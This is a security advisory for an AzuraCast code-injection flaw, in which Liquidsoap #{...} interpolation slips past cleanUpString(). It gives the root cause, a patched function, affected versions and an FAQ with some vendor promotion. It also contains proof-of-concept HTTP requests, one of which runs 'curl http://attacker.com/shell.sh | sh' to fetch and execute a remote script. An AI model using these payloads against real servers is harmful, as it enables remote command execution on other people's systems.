GHSA-93FX-5QGC-WR38

AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.

Root Cause

File: backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345

public static function cleanUpString(?string $string): string
{
    return str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
}

This function only replaces " with ' and strips newlines. It does NOT filter:

• #{...}, Liquidsoap string interpolation (evaluated as code inside double-quoted strings)
• \, Backslash escape character

Liquidsoap, like Ruby, evaluates #{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.

Injection Points

All user-controllable fields that pass through cleanUpString() and are embedded in double-quoted strings in the .liq config:

PoC 1: Via Remote Playlist URL (Media permission)

POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>

{
    "name": "Malicious Remote",
    "source": "remote_url",
    "remote_url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
    "remote_type": "stream",
    "is_enabled": true
}

The generated liquidsoap.liq will contain:

mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")))

When Liquidsoap parses this, process.run('id > /tmp/pwned') executes as the azuracast user.

PoC 2: Via Station Description (Profile permission)

PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION>

{
    "name": "My Station",
    "description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}

Generates:

description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"

Trigger Condition

The injection fires when the station is restarted, which happens during:

• Normal station restart by any user with Broadcasting permission
• System updates and maintenance
• azuracast:radio:restart CLI command
• Docker container restarts

• Severity: Critical
• Authentication: Required, any station-level user with Media or Profile permission
• Impact: Full RCE on the AzuraCast server as the azuracast user
• CWE: CWE-94 (Code Injection)

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

GHSA-93FX-5QGC-WR38 has a CVSS score of 8.7 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.23.4); upgrading removes the vulnerable code path.

Kodem intelligence

Update cleanUpString() to escape # and \:

public static function cleanUpString(?string $string): string
{
    return str_replace(
        ['"', "\n", "\r", '\\', '#'],
        ['\'', '', '', '\\\\', '\\#'],
        $string ?? ''
    );
}

1. What is GHSA-93FX-5QGC-WR38? GHSA-93FX-5QGC-WR38 is a high-severity code injection vulnerability in azuracast/azuracast (composer), affecting versions <= 0.23.3. It is fixed in 0.23.4. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is GHSA-93FX-5QGC-WR38? GHSA-93FX-5QGC-WR38 has a CVSS score of 8.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of azuracast/azuracast are affected by GHSA-93FX-5QGC-WR38? azuracast/azuracast (composer) versions <= 0.23.3 is affected.
4. Is there a fix for GHSA-93FX-5QGC-WR38? Yes. GHSA-93FX-5QGC-WR38 is fixed in 0.23.4. Upgrade to this version or later.
5. Is GHSA-93FX-5QGC-WR38 exploitable, and should I be worried? Whether GHSA-93FX-5QGC-WR38 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-93FX-5QGC-WR38 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-93FX-5QGC-WR38? Upgrade azuracast/azuracast to 0.23.4 or later.